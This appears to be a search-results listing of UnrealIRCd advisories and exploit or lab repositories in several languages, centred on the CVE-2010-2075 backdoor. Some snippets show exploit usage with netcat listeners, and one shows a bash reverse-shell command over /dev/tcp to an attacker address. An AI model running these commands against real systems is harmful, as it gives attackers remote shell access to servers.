134 matches found
CVE-2026-90668
A flaw was found in UnrealIRCd. The webserver component does not properly limit the number of HTTP request headers. A remote attacker can exploit this vulnerability by sending an HTTP request with an excessive number of headers, leading to memory consumption and an unresponsive server. This can...
UnrealIRCd-3.2.8.1-Backdoor-Command-Execution
UnrealIRCd 3.2.8.1 バックドア コマンド実行 UnrealIRCd 3.2.8.1 のバックドアを利用したコマンド実行エクスプロイト Python 3 版 CVE-2010-2075。 説明 UnrealIRCd バージョン 3.2.8.1 には、リモート攻撃者が任意のコマンドを実行できるトロイの木馬が含まれています CVE-2010-2075。 このスクリプトの作成にあたり、Metasploit のペイロード payload/cmd/unix/reverseperl を参考にしました。 使用方法 リスニングホストで Netcat リスナーを起動します:...
CVE-2026-90668
The webserver in UnrealIRCd 6.0.5 through 6.2.6 before 6.2.7 does not limit the number of HTTP request headers, which allows remote attackers to cause a denial of service memory consumption and unresponsive server via an HTTP request with an unlimited number of headers, if a websocket or JSON-RPC...
CVE-2026-90668
The webserver in UnrealIRCd 6.0.5 through 6.2.6 before 6.2.7 does not limit the number of HTTP request headers, which allows remote attackers to cause a denial of service memory consumption and unresponsive server via an HTTP request with an unlimited number of headers, if a websocket or JSON-RPC...
EUVD-2026-76937
The webserver in UnrealIRCd 6.0.5 through 6.2.6 before 6.2.7 does not limit the number of HTTP request headers, which allows remote attackers to cause a denial of service memory consumption and unresponsive server via an HTTP request with an unlimited number of headers, if a websocket or JSON-RPC...
CVE-2026-90668
UnrealIRCd versions 6.0.5 through 6.2.6 contain a denial-of-service vulnerability in its webserver component. The server does not limit the number of HTTP request headers, allowing a remote unauthenticated attacker to send a single HTTP request with an unlimited number of headers, causing excessi...
sunset-noontide-pentesting
Sunset: Noontide — 渗透测试 对 Sunset: Noontide 的专业渗透测试评估与 CTF 演练，这是一台来自 VulnHub 的故意存在漏洞的机器。 本项目记录了完整的渗透测试生命周期，包括侦察、服务枚举、漏洞研究、漏洞利用、初始访问、后渗透、权限提升、入侵证明、风险评估、MITRE ATT&CK 映射以及修复建议。 ⚠️ 免责声明： 本次评估是在授权的实验室环境中针对一台故意存在漏洞的机器进行的。本文档中记录的技术和命令仅适用于已获得明确授权的系统。 🎯 目标 识别目标主机 枚举暴露的服务 识别存在漏洞的软件及版本 研究适用的漏洞 利用存在漏洞的服务 获取初始...
PT-2026-90782
The webserver in UnrealIRCd 6.0.5 through 6.2.6 before 6.2.7 does not limit the number of HTTP request headers, which allows remote attackers to cause a denial of service memory consumption and unresponsive server via an HTTP request with an unlimited number of headers, if a websocket or JSON-RPC...
UnrealIRCd-3.2.8.1-Backdoor-Command-Execution
UnrealIRCd-3.2.8.1-Backdoor-Command-Execution Script que explota la vulnerabilidad que permite establecer una puerta trasera en el servicio UnrealIRCd con CVE-2010-2075 Uso usage: IRCBackDoorCommandExecution.py -h targethost targetport attackerhost attackerport...
Metasploitable2-Reconnaissance-and-UnrealIRCd-Backdoor-Exploitation
Metasploitable2：侦察与 UnrealIRCd 后门利用 免责声明 Metasploitable2 是一台故意设计为存在漏洞的虚拟机，专门为安全培训和练习而发布。本项目完全在我拥有并控制的隔离虚拟实验环境中进行，仅用于教育目的。 概述 本项目记录了对 Metasploitable2 的完整攻击链：在网络中发现主机、对其服务进行指纹识别、识别 UnrealIRCd 中的已知后门，并利用该后门获取 shell 访问权限。 目标 练习并记录标准的从侦察到利用的工作流程：找到目标、枚举其服务、识别可利用的漏洞、利用该漏洞，并确认所获得的访问权限级别。 实验环境...
metasploitable2-exploitation-metasploit
Exploiting Metasploitable2 with Metasploit: VSFTPD, Samba, and More Metasploit Framework を用いた実践的な攻略手順 — PostgreSQL データベースのセットアップ、dbnmap スキャン、vsftpd・Samba・UnrealIRCd による 3 つの root シェル、Netcat を使った認証情報の流出までを解説します。 概要 このリポジトリは、隔離された VirtualBox ラボ内の Metasploitable2 に対する Metasploit...
CVE-2010-2075
CVE-2010-2075 - UnrealIRCd 3.2.8.1 バックドア Bash PoC 説明 UnrealIRCd 3.2.8.1 のソースtarballに導入されたバックドアのBash PoC。 改ざんされたバイナリは、IRCポートに送信されたAB;で始まる任意のコマンドを実行します。 使用方法 root@kitploit: chmod +x exploit.sh ./exploit.sh 例: root@kitploit: ./exploit.sh 192.168.1.10 6667 192.168.1.20 4444 実行前にリスナーをセットアップしてください:...
unrealircd3.2.8.1-local-exploit
Metasploitable 3 でテスト済み 使用方法 Ruby 攻撃側のシェルで root@kitploit: nc -nlvp 1111 被害側のシェルで root@kitploit: ruby exploit.rb 127.0.0.1 攻撃側のシェルでの期待される出力 root@kitploit: listening on any 1111 ... connect to 192.168.56.102 from UNKNOWN 192.168.56.105 48144 bobafett Python 被害側のシェルで root@kitploit: python3 exploit.p...
OffensivePascal-CVE-2010-2075
CVE-2010-2075 FreePascal 实现的 CVE-2010-2075 漏洞利用 漏洞信息 UnrealIRCd 3.2.8.1 通过向任意监听服务发送 "AB; command" 实现远程代码执行（RCE）。发送的任何命令都将以 UnrealIRCD 运行的用户身份执行。 此实现会向你的监听器发起一个反向 shell。 步骤 1 启动一个监听器，例如 netcat -lvp 4444 步骤 2 执行漏洞利用 ./exploit ，其中 host ip 和 port 是你的监听器运行的地址和端口。 依赖要求 Synapse。如果你没有安装，可以通过 OPM 进行安装。...
CVE-2010-2075-UnrealIRCd-3.2.8.1
CVE-2010-2075 针对 CVE-2010-2075 的漏洞利用。此漏洞利用允许在 UnrealIRCd 3.2.8.1 中远程执行命令。 要求 optparse, signal 用法 你可以发送要执行的命令，但有时不会收到响应；这时只需发送一个反向 shell，然后等待它连接回来。 root@kitploit: python3 CVE-2010-2075.py -t 10.0.2.119 -p 6667 -c 'bash -c "bash -i & /dev/tcp/10.0.2.48/443 0&1"' Creating connection Creating payload...
unrealircd-backdoor-pentest-report
🛡️ UnrealIRCd 后门渗透测试 一个专注于在隔离培训环境中识别、利用和修复 UnrealIRCd 3.2.8.1 后门（CVE-2010-2075） 的受控渗透测试项目。 免责声明： 本项目严格针对故意设置漏洞的实验室环境开展，仅用于教育和已获授权范围内的安全测试。未对任何未授权系统发起攻击。 📌 项目概述 本项目演示了针对存在漏洞的 UnrealIRCd 3.2.8.1 服务的完整漏洞评估与利用工作流程。 本次评估涵盖： 服务发现与枚举 识别存在漏洞的 UnrealIRCd 服务 验证暴露的 IRC 服务 使用 Metasploit 进行受控利用 证据收集 安全修复与加固...
cve-2010-2075-analysis
CVE-2010-2075 – UnrealIRCd 后门远程代码执行 概述 本仓库记录了针对 CVE-2010-2075（影响 UnrealIRCd 3.2.8.1 的后门漏洞）的分析与利用过程。 该漏洞在受控的实验室环境中复现，目标机使用 Metasploitable 2，攻击机使用 Parrot OS。目标是识别存在漏洞的服务，确认后门的存在，并演示成功利用的影响。 漏洞详情 字段| 值 ---|--- CVE ID| CVE-2010-2075 软件| UnrealIRCd 3.2.8.1 服务端口| 6667/TCP 漏洞类型| 后门远程代码执行 严重性| 高 目标平台|...
Metasploit2-pentest
Metasploitable2 Penetration Test Lab Author: Lillian Jone...